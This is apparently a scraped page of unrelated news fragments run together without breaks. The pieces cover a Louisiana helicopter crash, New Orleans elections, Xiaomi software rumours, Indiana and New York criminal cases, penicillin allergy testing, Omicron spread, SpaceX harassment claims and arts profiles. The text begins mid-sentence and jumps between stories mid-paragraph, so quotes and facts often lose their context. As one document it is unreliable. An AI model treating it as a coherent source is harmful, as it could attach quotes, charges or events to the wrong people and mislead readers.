brakes." Top stories in New Orleans in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up Arrighi said she did not see the crash itself. She said she was about three cars back when traffic stopped because a downed helicopter was burning on the bridge shoulder in the distance. In the water to the left of the eastbound side of the bridge, Arrighi saw a propeller. Scattered on the pavement in front of her, she saw a seat cushion and a backpack. Paramedics were forced to wait until firefighters put out the flames to render aid. They were kind of rushing around, and then they just stopped. There were no medical bags or anything like that. There was no stretcher, Arrighi said. Helicopter hit transmission lines, knocked out power in Kenner and Metairie, Entergy confirms A helicopter crash on the Bonnet Carre Spillway Bridge damaged transmission infrastructure and knocked out power to approximately 20,000 custo Acadian Ambulance personnel left without taking anyone to the hospital, a spokesperson said. The National Transportation Safety Board said it will take the lead on investigating the crash, with assistance from the Federal Aviation Administration. An investigator was en route to the crash scene Tuesday afternoon, board staff said. The investigation will include the weather conditions at the time of the crash. Morning fog had mostly lifted by the time of the crash, National Weather Service meteorologist Danielle Manning said, and Louis Armstrong International Airport to the east and South Louisiana Executive Regional Airport to the west were reporting visibility of at least 3 to 4 miles. However, neither airport is directly over water like the I-10 bridge, and solid cloud decks at 400 and 900 feet could have affected a low-flying helicopter, Manning said. Police diverted traffic from I-10 eastbound to other roadways, creating hours of congestion near LaPlace. In Kenner and Metairie, the crash disrupted electricity for tens of thousands of customers, Entergy Louisiana said. Power was restored within two hours. When Marlin Gusman was elected to the New Orleans City Council more than two decades ago, Oliver Thomas was already there. Their paths would diverge, with Gusman moving up to run the citys jail for 17 years as sheriff and Thomas, once considered a likely future mayor, resigning in 2007 when he pleaded guilty to accepting some $18,000 in kickbacks. In 2021, the fates of both men told us much about New Orleanians views on criminal justice, and perhaps even more about their satisfaction with how things are going in general. Gusman lost his bid for re-election over the weekend, when voters citywide chose first time candidate Susan Hutson in a contest tightly focused on conditions at the Orleans Justice Center, and the fight over whether to build an additional facility for mental and physical health care functions or retrofit an existing building. That decision is actually in the hands of the federal judge overseeing the offices civil rights consent decree, but in the campaign it became a proxy for the ongoing, much broader conversation over the culture of incarceration. That debate hovered over the district attorney contest last year as well, and Hutson, the citys independent police monitor, drew support from the same progressive criminal justice movement both local and very much nationwide that elected Jason Williams as top prosecutor. Thomass comeback campaign for District E didnt focus on criminal justice, but his easy win over incumbent Cyndi Nguyen signaled a certain public acceptance of one of the underpinnings of the cause, that peoples lives and worth arent defined by the worst thing they did. So widespread support for the reform point of view is one message that came out of Saturdays New Orleans runoff. A stronger factor, though, was likely malaise, a distinct discontent with how things roads, crime, the economy, what have you are going. If anyone represented the status quo, it was Gusman, who had many years to get things right. So did the City Council, which is in for a pretty big shake-up. In the November primary for Williams former at-large seat, voters rejected District C council member Kristin Gisleson Palmers argument that someone with district experience should serve in at least one of the citywide posts. Instead they chose JP Morrell, a veteran of the Legislature but a council newcomer who argued for a new direction. Two incumbent district members were forced into runoffs, and on Saturday, both went down to defeat after a single term. Jay Banks lost his District B seat to Lesli Harris, another newcomer. Nguyen lost in District E to Thomas, who actually ran on his long experience representing District B and serving as an at-large member, which made him a somewhat unusual change agent. The general rub against both incumbents was that theyve had their chance to improve conditions and havent made enough progress. So jaded was the public mood that City Council President Helena Moreno, re-elected easily in November, felt comfortable backing challengers against her endangered colleagues. That could have made for some tense moments had either or both pulled it out, but instead Moreno, who is also close to Morrell, wound up with a council stocked with allies. That likely signals a more combative mood when it comes to the councils interactions with Mayor LaToya Cantrell. Cantrell was re-elected easily in November after she didnt draw a major challenger, but voters on Saturday also gave her some indirect pushback. Cantrell put her name behind Banks, her closest ally on the council, and Troy Glover, a newcomer who lost an incredibly tight District D contest to Eugene Green. The close rejection of a housing tax renewal is likely linked to criticism, from the Bureau of Governmental Research and even some housing advocates who backed the measure, that the administration didnt have a clear enough plan for the money. And the easy passage of a library millage renewal stands in contrast to Cantrells failed push a year ago to divert some of that millage revenue to other public goals. The mayor had much to celebrate when she took 65% of the vote last month, but there were already signs that day that all was not fine in the minds of many voters. If anyone missed that message in November, they cant help but get it now. Reportedly, Xiaomi will offer MIUI 13 upgrades to ten smartphones this month. Smartphones as old as the Mi 10S could be upgraded, along with the Mi 11, Mi 11 Ultra and the Redmi K40 series. The Redmi Note 10 Pro 5G could be in line for MIUI 13, too. Working For Notebookcheck Are you a techie who knows how to write? Then join our Team! English native speakers welcome! News Writer (AUS/NZL based) - Details here MIUI 13 is on its way, with its logo and numerous feature having already leaked. Tipped to debut on the Xiaomi 12 series, MIUI 13 could also arrive on existing smartphones before the end of the year. Unsurprisingly, the possible devices are only part of Xiaomi's flagship series. According to Xiaomiui, Xiaomi will release stable versions of MIUI 13 to the following ten devices on December 28. Please note, Xiaomi has not confirmed this is the case. Typically, Xiaomiui obtains its information from internal databases. Mi 10S Mi 11 Mi 11 Lite 5G Mi 11 Ultra MIX 4 Redmi K40 Redmi K40 Gaming Redmi K40 Pro Redmi K40 Pro+ Redmi Note 10 Pro 5G Incidentally, few devices will start on the same version of MIUI 13. For example, MIUI 13 will appear on the Redmi Note 10 Pro 5G as V13.0.0.1.SKPCNXM, with the Mi 11 Ultra and Redmi K40 Pro on V13.0.1.0.SKACNXM and V13.0.1.0.SKKCNXM, respectively. All builds will be exclusive to MIUI's Chinese branch, though. Wentworth said under Indiana law the assessor is obligated when a property's value increases more than 5% in one tax year to demonstrate the new assessed value is exactly and precisely "correct." She noted the Indiana General Assembly has not defined the meaning of "correct," or even indicated a possible range of correctness since the Tax Court has long held "the act of appraising is more art than science." In this case, however, Wentworth said the assessor's appraisal of the mall for each of the tax years was contradicted by subsequent independent appraisals completed on behalf of the assessor that valued the mall at $258.9 million for 2015 and $241.7 million for 2016. Because neither of those values exactly matched the $242.9 million original assessment, she said that assessment cannot be considered "correct" under the law and must be thrown out and replaced with the last accepted value of the mall set in 2010. Cusimano said the mall's 2010 assessment of approximately $110 million is "well below the opinions of more than one expert in the case" including the independent appraiser hired by the mall whose valuation Wentworth also declined to deem "correct." HAMMOND Former Portage Mayor James Snyder is seeking to remain out on bond rather than go to prison as scheduled Jan. 5 while he appeals his federal bribery and tax violations convictions. The 43-year-old Republican claims in his motion that there has been an "avalanche of error" that is likely to reverse his convictions or at least result in a third trial. "Courts have also considered the fact that a sentence of 21 months is short enough that it may be wholly or substantially served by the time the appeal is briefed, argued and decided, causing the defendant-appellant to serve time for which he may not be compensated if his appeal results in a judgment of acquittal or new trial," the motion reads. A telephonic hearing on the 47-page motion is scheduled for the morning of Dec. 22. Snyder was twice found guilty of soliciting and accepting a $13,000 bribe in 2014 in return for steering a $1.125 million contract for the purchase of garbage trucks for the city of Portage to the local Great Lakes Peterbilt company. He forged some of his customers signatures on the false tax returns and the refunds ended up in Halls bank account. IRS agents said they interrogated Hall in 2012, putting him on notice he was breaking the law. The government states that Hall assured them he had filed his last tax return and was going into the music business. A federal grand jury indicted Hall in January 2015, and he pleaded guilty in November of that year to felony tax fraud counts and received a 51-month sentence. Shortly after Hall went to prison, the IRS discovered Hall had lied about getting out of the tax preparation business and filed many more false tax returns between his 2012 IRS interview and his imprisonment in 2016. Prosecutors recharged Hall last year, alleging he cheated again by fabricating his tax customers income amounts to illegally trigger tax credits that earned him thousands in preparation fees. He pleaded guilty to tax fraud for the second time in June this year. CROWN POINT A jury trial was delayed Wednesday for two parents facing charges in the death of their 11-month-old daughter last year. Roger Duszynski III and Patricia Widner, both 26 and of Gary, had been scheduled to face a jury starting Feb. 14 in the death of their daughter Debra R. Duszynski early Jan. 2, 2020. Duszynski and Widner each have pleaded not guilty to one count of neglect of a dependent resulting in death, a level 1 felony. According to court records, Debra likely was kicked or punched in the abdomen about a half-hour after a feeding and immediately died. The Lake County coroner's office ruled her death a homicide. Adam Tavitas and Thomas Mullins, attorneys for Duszynski and Widner, asked Lake Criminal Court Judge Salvador Vasquez to strike the trial because they were still in the process of hiring an expert witness. Tavitas said the defendants needed time to raise money for attorney's fees, but Duszynski was able to provide more money last week. Tavitas and Mullins said they plan to move forward with hiring the expert witness, and the state likely will want to take that person's deposition before trial. "Then I reached in the water and I felt the leg. I pulled her upside down out of the water and handed her to the Lake County sheriff's officer that was on the embankment to get her to an ambulance." Shaffer said the 8-month-old girl wasn't crying when he pulled her from the water and had a terrified look on her face after being underwater for approximately 90 seconds. "I didn't know if she was breathing. I just wanted to get her out of the water and into the medic's hands," Shaffer said. "(The children) did nothing wrong. They were in a bad situation that they shouldn't have ever been put in." Ultimately, Shaffer had the opportunity to see both girls, conscious and alert, in the back of an ambulance before they were taken to a Region hospital. Both children later were transferred to Comer Children's Hospital in Chicago, police said. Shaffer, a father of three and a former officer in the East Chicago and Dyer police departments, choked up as he thought about what might have happened to the two girls if he hadn't been right there when the car plunged into the water. LANSING For years, one of the first things drivers have seen when exiting Interstate 80-94 at Torrence Avenue was the former home of a long-gone retailer. That view is starting to change this week. Demolition crews are taking down the former Kmart, located at 17355 Torrence, which closed in July 2016. That will make way for the construction of an 8,500-square-foot gas station and convenience store that is expected to break ground early next year. Village Administrator Dan Podgorski said the developer of the new QuikTrip travel center still has some permits to obtain before starting construction on the project. The QuikTrip will be located in the current parking lot north of the LA Fitness building, near 173rd Street. Parking for LA Fitness will shift to the east side of that building. Another project along the Torrence Avenue corridor north of 80-94 is on hold, according to Podgorski. That is a Tru by Hilton hotel planned for the west side of Torrence between 170th and 172nd streets. CROWN POINT A 45-year-old man pleaded guilty Tuesday to selling drugs that caused the death of a Schererville man in 2019. Kariem "K" Rainey, of Chicago, was the first person charged in Lake County under a state law adopted in 2018 that allows county prosecutors to file a charge of dealing in a controlled substance causing death. The possible penalty if convicted of the charge can be up to 40 years in prison. If Lake Criminal Court Judge Natalie Bokota accepts Rainey's plea agreement, she would sentence him to an agreed term of 26 years in prison. Rainey's sentence in the Lake County case would run concurrently to sentences he's already serving for a similar conviction in LaPorte County and a separate conviction in the U.S. District Court for Northern Illinois. Rainey admitted he sold heroin to a 36-year-old Schererville man, who died April 2, 2019, from an overdose of fentanyl, heroin, codeine, methadone and clonazepam. Rainey was sentenced Sept. 23 in LaPorte Superior Court to 30 years in prison for selling drugs resulting in the death of a 31-year-old Michigan City woman on Nov. 21, 2018, from an overdose of morphine and fentanyl. Nixon has been previously charged in separate incidents in 2021, including pointing a firearm at another person, two counts of unlawful possession of a firearm by a serious violent felon and criminal recklessness, according to online court records. "All these detectives worked tirelessly for several months to solve this crime and bring closure not only to the Morris-Cross family, but all the other victims whose lives were negatively impacted from this incident," Urbanczyk said. "The Michigan City Police Department is extremely grateful for the working partnerships we share with our community, surrounding law enforcement agencies and the LaPorte County Prosecutors Office," he stated in a news release. "The dedicated men and women of the Michigan City Police Department will continue to seek those who decide to commit violent acts within our community and hold them accountable for their actions. In the 2017 case involving the then-14-year-old boy, Chauvin is charged with depriving the boy, who was handcuffed and not resisting, of his right to be free of unreasonable force when he held him by the throat, hit him in the head with a flashlight and held his knee on the boy's neck and upper back while he was in a prone position. According to a police report from that 2017 encounter, Chauvin wrote that the teen resisted arrest and after the teen, whom he described as 6-foot-2 and about 240 pounds, was handcuffed, Chauvin "used body weight to pin" him to the floor. The boy was bleeding from the ear and needed two stitches. That encounter was one of several mentioned in state court filings that prosecutors said showed Chauvin had used neck or head and upper body restraints seven times before dating back to 2014, including four times state prosecutors said he went too far and held the restraints "beyond the point when such force was needed under the circumstances." The other three former officers are still expected to go to trial on federal charges in January, and they face state trial on aiding and abetting counts in March. *** Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A former Rock County, Wisconsin, Sheriffs Office deputy was arrested Monday for sexually assaulting multiple children, the state Department of Justice Division of Criminal Investigation reported Wednesday. Gary A. Huber, 34, was arrested in Fort Wayne, Indiana, on Monday. Huber worked as a Rock County deputy sheriff from August 2016 through July, when he resigned to avoid an internal investigation, DCI said in a statement. Huber is charged with one count of first-degree child sexual assault sexual contact with a child under age 13, one count of repeated sexual assault of a child, three counts of child enticement, two counts of causing a child under age 13 to view/listen to sexual activity, and three counts of exposing genitals, pubic area, or intimate part. The criminal complaint states that Huber assaulted multiple underage children between 2010 and 2016, DCI said. DCI asks anyone with information on this investigation to contact it at 608-266-1621 or via email at report@doj.state.wi.us. Survivors looking for supportive resources can contact a local sexual assault service provider or the DOJ Office of Crime Victim Services at 800-446-6564. Republican Gov. Eric Holcomb proposed creating the grant program in January and said Tuesday it had encouraged local leaders to look beyond their own city and county lines. This truly is a rising tide lifts all boats statewide, simultaneous, and I would say on an unprecedented scale, all at once over the course of the next few years, Holcomb said. The state board also approved $30 million grants for four regions and another four will get $20 million. Three others were approved for $15 million and one is receiving $5 million. Wasky said those reviewing the proposals believed it was important to give money to all the regions in order to support ongoing cooperation. The importance of encouraging regions to continue down this path was of significant importance for us to make sure that everybody walked away with something rather than feeling like they were left empty handed, he said. Saying bless you or God bless you after someone sneezes seems to be a reflex response. Why do we feel compelled to say it to anyone who sneezes, even if the sneezer is a stranger or the sneeze is heard from afar? Saying God bless you following a sneeze is a common refrain, so common and taught from childhood that many people dont even think of it as a blessing, but rather as an utterance without specific meaning other than a response to a sneeze that is polite in some way, said Dr. Gail Saltz, an associate professor of psychiatry at Weill Cornell Medicine . For many people, this response has been conditioned into them, that this is what you do when someone sneezes, anyone. If it is repeated enough times, especially with positive reinforcement the sneezer says thank you it becomes increasingly reflexive, it starts to be done without conscious thought, Dr. Saltz added. Today, people arent quite sure why they are saying it, but they are afraid that if they dont say it, people will think that they are rude or dont care about the person who sneezed. Dara Avenius, a New York publicist, is one of those people who finds it rude if she sneezes and someone goes on with a conversation as if she hadnt just sneezed. She always says bless you to anyone who sneezes, even her dog. Physicians used to assume a child who developed a mild drug-related rash could have a more serious reaction in the future. But research conducted over the last 10 years has shown that isnt true. Our understanding has really changed for the better, said Dr. Stukus. But it can be quite confusing for parents because what they were told a few years ago or even what they themselves were told as children may be very different. True allergic reactions, which occur when the bodys immune system overreacts, almost always come on suddenly within minutes to a few hours of taking the drug. Symptoms commonly include hives, itchy eyes and swelling in the lips, tongue or face. In some cases, the allergy can cause vomiting and diarrhea. Rarely, penicillin allergies lead to anaphylaxis, a life-threatening reaction that affects the entire body. Even more rarely, a child will develop severe symptoms such as a high fever or blistered, peeling skin days or even weeks after taking the drug. Dr. Norton said parents should call their doctor if their child experiences any new symptoms while taking a drug. Take photos and write down pertinent details. Knowing what happens when a child has a reaction is key to figuring out how to manage these kids, so the parent really is an important part of this, she said. If a health care provider is concerned about the symptoms, or just unsure, they may stop the penicillin and prescribe a different antibiotic, Dr. Norton said. If that happens, be sure to follow up with your physician or allergy specialist to figure out if your child is really allergic. Getting Tested Is Easier Than You Think Allergy testing should be done in a doctors office or clinic where they have treatment on hand in case symptoms occur. It can involve a lot of waiting to see if anything happens, so bring a quiet activity to pass the time. Most kids undergo an oral challenge where they are given a small amount of the drug, then if theres no reaction, the rest of the dose. If nothing happens after an hour or so, youre good to go. If your child has a history of severe symptoms such as swelling, or shortness of breath or a rapid onset of hives, you will need to consult with an allergy specialist for a skin test. That involves first pricking the skin with an allergen, and if that doesnt cause a red bump to form, using a small needle to place more of the allergen under the skin. (The procedure is bloodless and less painful than it sounds.) If theres no reaction at the testing sites, the doctor will do an oral challenge to confirm your child isnt allergic. A partisan fight atop a sleepy bank regulator intensified on Tuesday, with Democratic members of the Federal Deposit Insurance Corporation board saying its Republican chairwoman was subverting the majoritys will. Rohit Chopra, a member of the F.D.I.C. board and the new director of the Consumer Financial Protection Bureau, complained that the chairwoman, Jelena McWilliams a Trump appointee had refused to recognize their attempts to review rules about bank mergers. This approach to governance is unsafe and unsound, he said in a statement. It is also an attack on the rule of law. At a virtual meeting earlier Tuesday, Ms. McWilliams, the boards lone Republican, struck down Mr. Chopras request to record in the minutes a vote on the review. Ms. McWilliams said the regulators general counsel had ruled the vote, which had been taken earlier by the Democratic members, to be invalid. In December 2017, Wayne Peiffer, a police officer in Brewster, N.Y., received a text message from a Queens man who prosecutors say worked as a driver for a prostitution ring. For months, the man identified in court documents as Cristian Noe Godinez had been driving women to the Putnam County village, near the Connecticut border, to perform sex acts on Officer Peiffer, prosecutors said. Today I have a skinny one, Mr. Godinez wrote to the officer, who followed up with a vulgar question about her other physical attributes. In hundreds of text messages over four years, Officer Peiffer expressed a preference for big girls, who sometimes were delivered to him at the police station. On Tuesday, Officer Peiffer, 48, was among five people arrested on federal charges related to a sex-trafficking ring and a prostitution network that prosecutors say operated out of Queens and across New York, New Jersey and Connecticut. Prosecutors said that in exchange for the sexual acts, provided at no cost, Officer Peiffer shielded the organizations from law enforcement scrutiny, including tipping off the group to law enforcement operations. Appearing Tuesday afternoon by video conference in federal court in Brooklyn, Officer Peiffer pleaded not guilty to nine counts including bribery, extortion and use of an interstate facility to promote prostitution. He was released to home detention on a $300,000 bond. When New York Citys mayor-elect, Eric Adams, said he was staying out of the combative race for City Council speaker, the declaration made sense: He still has the vast majority of his cabinet appointments to make, and an extraordinarily challenging job awaiting him in three weeks. And yet, skipping an important political contest one that would decide whether the second-most powerful position in city government would be held by an ally of Mr. Adams seemed like an almost novel notion in New York. And sure enough, in the past week or so Mr. Adams and his associates had spoken with council members on behalf of his preferred candidate, Francisco Moya of Queens, who was thought to have little pre-existing support among those who would have to choose him as their leader. The move, however, could end up backfiring. On Tuesday, four candidates for the leadership post agreed to quit the race and support a different contender, Adrienne Adams, a Queens councilwoman, bringing her closer to the 26 votes she needs to become speaker when the election takes place in January. Chief Sewell will also be the third Black commissioner to lead the citys Police Department a notable change for a police force whose upper echelons have remained overwhelmingly white and male. Joyce A. Smith, the acting district attorney in Nassau County, said she was elated to hear that Chief Sewell had been selected to lead the Police Department at a time when the city was dealing with the pandemic, criminal justice reform and social justice demands. Ms. Smith said that she met Chief Sewell last year and was immediately impressed by her ability to hold her own in the kind of space that can be intimidating, and where Black women are rare. She showed herself not only aware of the issues, but she knows how to fix problems, and that is a rare gift, Ms. Smith said. Its one thing for us to spot the problem, but to know how to fix it quickly, I truly treasured that. We needed that in this time more than ever. Mr. Adams has promised major changes for the Police Department: bringing back plainclothes police units that were disbanded last year; diversifying a department where Black officers are underrepresented; and speeding up the disciplinary process for officers accused of wrongdoing. For months, Mr. Adams had said that he would name the departments first female leader in its 176-year history and considered several candidates, including Carmen Best, the former Seattle police chief; and Juanita Holmes, the current chief of patrol in New York. Mayor Bill de Blasio, a Democrat in his second term, had selected three Irish American veterans of the department for the top job. The Legal Aid Society, a group that represents poor New Yorkers and has pressed for police accountability, said in a statement that it hoped Chief Sewell would bring a new approach to the department because policing in the city remains fraught as ever. Is it a good idea for Joe Biden to run for re-election in 2024? And, if he runs again and wins, would it be good for the United States to have a president who is 86 the age Biden would be at the end of a second term? I put these questions bluntly because they need to be discussed candidly, not just whispered constantly. In the 1980s, it was fair game for reputable reporters to ask whether Ronald Reagan was too old for the presidency, at a time when he was several years younger than Biden is today. Donald Trumps apparent difficulty holding a glass and his constricted vocabulary repeatedly prompted unflattering speculation about his health, mental and otherwise. And Joe Bidens memory lapses were a source of mirth among his Democratic primary rivals, at least until he won the nomination. Yet its now considered horrible manners to raise concerns about Bidens age and health. As if doing so can only play into Trumps hands. As if the presidents well-being is nobodys business but his own. As if it doesnt much matter whether he has the fortitude for the worlds most important job, so long as his aides can adroitly fill the gaps. As if accusations of ageism and a giant shushing sound from media elites can keep the issue off the public mind. The proportion of coronavirus cases in the United States caused by the Omicron variant has increased sharply, and may portend a significant surge in infections as soon as next month, according to new data from the Centers for Disease Control and Prevention. During the week that ended on Saturday, Omicron accounted for 2.9 percent of cases across the country, up from 0.4 percent in the previous week, according to agency projections released on Tuesday. In the region comprising New York, New Jersey, Puerto Rico and the U.S. Virgin Islands, the percentage of Omicron infections had already reached 13.1 percent. In a briefing on Tuesday with state and local health officials and representatives of public health labs across the nation, C.D.C. officials warned of two possible scenarios. The first was a tidal wave of infections, both Omicron and Delta, arriving as soon as next month, just as influenza and other winter respiratory infections peak. But in the aerospace industry broadly, men outnumber women roughly eight to one, according to census data compiled by Data U.S.A. More women have been sharing stories of sexism and harassment while on the job. Women who work as interns and seek full-time jobs may be particularly vulnerable to harassment and other forms of discrimination, especially when anti-sexual harassment education is scant, as Ms. Kosak said. Human relations departments, including SpaceXs, employees say, have not always been quick to discipline or terminate employees who have been the subject of an investigation. Women at other space companies have also described discriminatory workplace dynamics. In September, a group of 21 current and former employees of Blue Origin, the space company owned by Jeff Bezos, wrote in an essay on Lioness that the company was rife with sexism and retaliated against those who speak up about safety issues. The company has denied the accusations. Ms. Kosak said in an interview that she felt compelled to go public with her experience at SpaceX after seeing the essay about Blue Origin, which was written by Alexandra Abrams, the companys former head of employee communications, who was fired by Blue Origin in 2019. On Nov. 8, Ms. Kosak said in an interview, she met with Ms. Shotwell and Brian Bjelde, the companys human resources chief, about her complaint against the man who she said had groped her in 2018 as well as other sexual discrimination complaints, but made no progress. It was a meeting where I spoke at them, they spoke at me, and we all left and that was that, she said. When Ms. Kosak resigned on Nov. 22, she said the man who touched her in 2018 was still working at SpaceX. The mans LinkedIn profile shows he is still employed with the company. Julia CrowleyFarenga interned for SpaceX from 2015 through 2017 while she was a student at Purdue University and the Massachusetts Institute of Technology. She accused SpaceX in a lawsuit in 2020 of retaliation after she reported uncomfortable interactions with her manager, who would schedule longer performance meetings with her than her male colleagues and repeatedly ask questions about and comment on her dating life. Another manager allowed her to transfer to a different department, she said. But when she applied for a job in 2018, the lawsuit says, she learned the second manager blocked her from getting an offer despite high performance ratings. Ms. CrowleyFarenga and SpaceX settled the lawsuit earlier this year. The former intern who went on to work for the company for five years said she witnessed and heard about sexual harassment and inappropriate behavior. While rooming with other women during her internships in 2016 and 2017, half of them had stories about situations that made them uncomfortable, she said. The third zebra was found dead in a snare trap a month after the escape, the Maryland Natural Resources Police said in October. All three animals had been living on a farm owned by Jerry Lee Holly, 76, in Upper Marlboro, Md., according to the authorities. The details of the capture and the circumstances of their initial escape were still unclear. But the zebras have now been returned to the herd, the Department of the Environment said in the statement. The department did not respond to questions on Tuesday. But what is known is that the monthslong ordeal came to a close on Monday, when the federal Agriculture Department told the Prince Georges County Animal Services Division, which was handling the case, that the zebras had been returned the previous week, the Department of the Environment said. Neither the Agriculture Department nor the animal services division was involved in the direct capture of the zebras, the Department of the Environment said, adding that it was continuing to investigate the case. The animal services division did not respond to emails or phone calls on Tuesday. The adventures of the wayward zebras drew widespread attention, with their every move documented on social media. The zebras even inspired a parody account on Twitter, @MarylandZebra. Amtrak has temporarily dropped its mandate for all employees to be vaccinated against Covid-19, a requirement that the rail service had said would likely result in cuts to service. As a result, Amtrak no longer plans to cut service next month, officials said on Tuesday. William J. Flynn, the chief executive officer of Amtrak, said in a memo that the agency would allow employees to opt into weekly testing instead of receiving a vaccine, reverting back to a previous policy. About 97 percent of Amtraks employees have either received a shot or an accommodation providing an exemption. Recently a federal district court decision halted the enforcement of the executive order for federal contractors, Mr. Flynn said. This caused the company to reevaluate our policy and to address the uncertainty about the federal requirements that apply to Amtrak. The shift in policy means that Amtrak officials no longer anticipate cuts to service next month, Mr. Flynn said. Last week, Stephen J. Gardner, the president of Amtrak, said that the agency expected to scale back service because 5 percent of its work force had yet to receive a vaccine ahead of a Jan. 4 deadline. Ms. Cheneys recitation delivered in her signature monotone reflected her approach as the vice chairwoman of the panel, where she is serving in defiance of Republican leaders who have sought to thwart the investigation at every turn. Both in public and behind the scenes, Ms. Cheney has used her perch to hold up an unsparing and often unflattering mirror to her own party, exposing Republicans complicity in the stolen-election narrative that fueled the Jan. 6 riot. She has done so even in the face of a primary challenge from a Trump-backed candidate that is likely to be a referendum on the former president. For her, this is about setting out in stark relief what the truth is, and in some way making the Republican Party confront that truth, said Michael Steele, a former chairman of the Republican National Committee. Here are the text messages, here are the phone logs, here are the conversations. That becomes a very difficult story line to refute. Ms. Cheney, the scion of a conservative dynasty, has found herself in an unusual place as a result of her position on the committee, as has the panels only other Republican member, Representative Adam Kinzinger of Illinois. They have been ostracized and derided as grandstanders by their own party; at the same time, they have been embraced by Democrats as the only Republicans willing to demand a full and bipartisan accounting of the worst attack on Congress in centuries. During committee hearings and floor debates, Ms. Cheney often tailors her public comments to an audience of Republican voters and elected officials. On Monday, she chose to publicly read anguished texts sent to Mr. Meadows on Jan. 6 by conservative personalities like the Fox News host Laura Ingraham and Mr. Trumps son Donald Trump Jr. Research by Harold Brooks, a senior research scientist at the National Oceanic and Atmospheric Administrations National Severe Storms Laboratory, shows that about 2 percent of people whose homes are directly struck by a powerful tornado are killed, roughly the same odds of dying after being infected with the coronavirus. Mr. Brooks, who lives in Oklahoma, has an 8-foot by 5-foot tornado shelter in his house that doubles as a walk-in closet. It has six-inch-thick reinforced concrete walls and a steel door. That thing is not going anywhere, in any wind on the planet, he said. But not everyone has the foresight, the time or the funds to build such a shelter. Greg Simons described his mothers home in Dawson Springs, Ky., as small and comfortable but not the safest place to ride out a tornado. If he had spoken with her before the storm, he would have forced her to leave the house, he said. His stepsister, Brandy Wiser, said she talked with their mother, Jennifer Ann Bruce, five minutes before the storm hit. I asked if she was OK and she said she was in the hall, safe, Ms. Wiser said. I said just be safe and call me when its over. Five minutes later, I tried to call her back and it went straight to voice mail. I kept calling. WASHINGTON A federal judge on Tuesday dismissed a lawsuit by Donald J. Trump that sought to block Congress from obtaining his tax returns, ruling that the law gives a House committee chairman broad authority to request them despite Mr. Trumps status as a former president. In a 45-page opinion, Judge Trevor McFadden of the Federal District Court for the District of Columbia held that the Treasury Department can provide the tax returns to the House Ways and Means Committee, which could vote to publish them. Judge McFadden, however, stayed his ruling for 10 days to give Mr. Trump time to file an appeal, which he is very likely to do. Representative Richard E. Neal of Massachusetts, the top Democrat on the Ways and Means Committee, first requested copies of Mr. Trumps tax returns in early 2019, after Democrats took over the House. A federal law gives the chairman of that panel broad authority to request any persons tax returns. The Trump administration refused to comply, and the House filed a lawsuit. After Mr. Trump left office this year, Mr. Neal issued a fresh request for the ex-presidents tax returns from 2015 to 2020, and the Biden administration issued a Justice Department memorandum saying he was entitled to receive them. The authorities in northern Greece have jailed three people pending trial and placed restrictions on eight others over an attack on a school principal related to coronavirus restrictions. The police said the group of people handcuffed the principal on Friday and drove him to a local precinct, suggesting that officers arrest him for enforcing Covid measures at the school that they said breached constitutional freedoms. Instead, the members of the group, which calls itself the Guardians of the Constitution, were detained. The 11 nine men and two women face abduction charges along with a string of lesser offenses, including disturbing the peace and violating measures aimed at preventing the spread of disease. Three of them have children who attend the school, according to one of their lawyers, who said they were protesting the measures and had not intended to hurt the principal. The work of the French circus-dance troupe Compagnie Libertivore tends to keep turning. The stage set is usually round, as if to represent the planet on which were all stuck, and the performers gravitate to circular motion. They whirl and tumble in wheeling patterns. They spin while suspended in the air. Most distinctively, beginnings and endings of movements, of sections roll together in a vision of continual metamorphosis, a vision that presents change as both natural and beautiful. Such a vision was what the companys director and choreographer, Fanny Soriano, intended 10 years ago, when she first conceived of Fractales, the work that Libertivore is bringing to Peak Performances at Montclair State University for the troupes United States debut, Thursday through Sunday. She was finishing a solo, Hetre (Beech), centered on a hanging beech-tree branch, and she was starting to make another solo, Fractales, meant to show her children how change can be positive. But then her own body began to alter. First her back and left shoulder froze up. In circus, youre always working with pain, so it was normal to continue, Soriano, 43, said in a video call from her home in Aubagne, in the south of France. She couldnt hang from her left arm, so she did everything with her right one until that became too painful. One knee stopped bending, then the other. It got to the point where I couldnt do anything. There are thousands of items that travel around the world without papers, and they are only asking for papers now, and in the past they never had such requirements, Mr. Almagia said, referring to the trade in Roman-era antiquities, which is severely regulated under Italian law and under longstanding agreements between Italy and the United States. Why are they doing this now, I wonder, he said, adding: So much money is being spent to persecute dealers when it can be used to repair Italian museums, where so many similar items are already at risk. Mr. Almagia has been investigated on and off by Italian and American authorities for decades. A chronology of his legal entanglements, dating back to at least 1996, was included in court papers released earlier this month related to the case of the billionaire Michael H. Steinhardt, who surrendered 180 stolen objects, 10 of which were sold to him by Mr. Almagia. In 2000, Mr. Almagia was stopped at Kennedy Airport with two frescoes stolen from the Roman town of Herculaneum, the papers said. In 2006, the year he left the United States, federal agents raided his East 78th Street apartment. As a result, he relinquished six items there that were later declared illicit. And in 2012, an Italian case accusing him of directing the looting of ancient Roman and Etruscan tombs was dismissed; law-enforcement officials in New York said it was dropped because of the statute of limitations. The court, however, upheld the confiscation of all relics in his possession and said his dealings had contributed to one of the greatest sacks of Italian cultural heritage based on the sheer amount of stolen goods he handled. Asked about his past brushes with the law, Mr. Almagia said: I sold things from Italy, definitely yes. There are objects in U.S. museums that are undoubtedly stolen from excavations but when they are not objects of the greatest importance, I think they should remain there so they can be appreciated by American visitors. As a fledgling performer, Raven O had two roommates undergoing gender transitions, and considered following their lead. We had a band called FDR Drive, and one day at rehearsals I realized I was standing to use the bathroom, and trans women dont do that. I had a moment of clarity: I was doing this for the wrong reason because I got more positive attention as a woman than as a male. One can expect similar candor in an upcoming memoir about Raven Os New York adventures. Kate Rigg, one of my hanai sisters, is writing it with me, he said, using the Hawaiian term for friends essentially adopted as siblings; he has a bunch of them. Raven O arrived in New York at 18 and, by his account, spent most of the 80s and early 90s homeless. When it got cold, Id find a place to sleep, usually by picking up a guy, Raven O said, with a matter-of-fact smile. I was a hooker, too; I sang for my supper, but if I needed money I did what I had to do. Usually it was, Ill have sex if you let me sleep at your house and feed me and maybe give me some money. Then drugs became a factor crack and crystal meth. He gradually began partying less; he and Deutzman even swore off alcohol two years ago. We just decided, were done, Raven O said. My big weakness now is sugar. And I do have a fried chicken fetish. There will likely be fewer personal revelations on an album Raven O recently recorded with the bassist Ben Allison, another longtime collaborator. It will be titled Piece of Sky, he said, after one of two original songs; the other tracks include standards and some surprises, contemporary songs we made into jazz songs. Painting, an old hobby that Raven O picked up again while hosting the Cirque du Soleil show Zumanity in Las Vegas, will provide another creative 